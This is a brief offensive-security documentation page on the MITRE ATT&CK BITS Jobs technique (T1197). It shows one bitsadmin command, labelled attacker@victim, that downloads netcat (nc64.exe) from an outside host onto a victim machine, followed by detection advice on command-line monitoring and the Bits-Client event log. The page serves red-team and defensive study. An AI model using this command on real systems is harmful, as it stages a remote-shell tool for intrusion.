> For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.ired.team/offensive-security/persistence/t1197-bits-jobs.md).

# BITS Jobs

## Execution

{% code title="attacker\@victim" %}

```c
bitsadmin /transfer myjob /download /priority high http://10.0.0.5/nc64.exe c:\temp\nc.exe
```

{% endcode %}

![](/files/-LIIE2v7H5sGYQO7l9PB)

## Observations

Commandline arguments monitoring can help discover bitsadmin usage:

![](/files/-LIIE7XGZgY-lS5y1ja4)

`Application Logs > Microsoft > Windows > Bits-Client > Operational` shows logs related to jobs, which you may want to monitor as well. An example of one of the jobs:

![](/files/-LIIG9BKGxsQX8C_E3Ra)

## References

{% embed url="<https://attack.mitre.org/wiki/Technique/T1197>" %}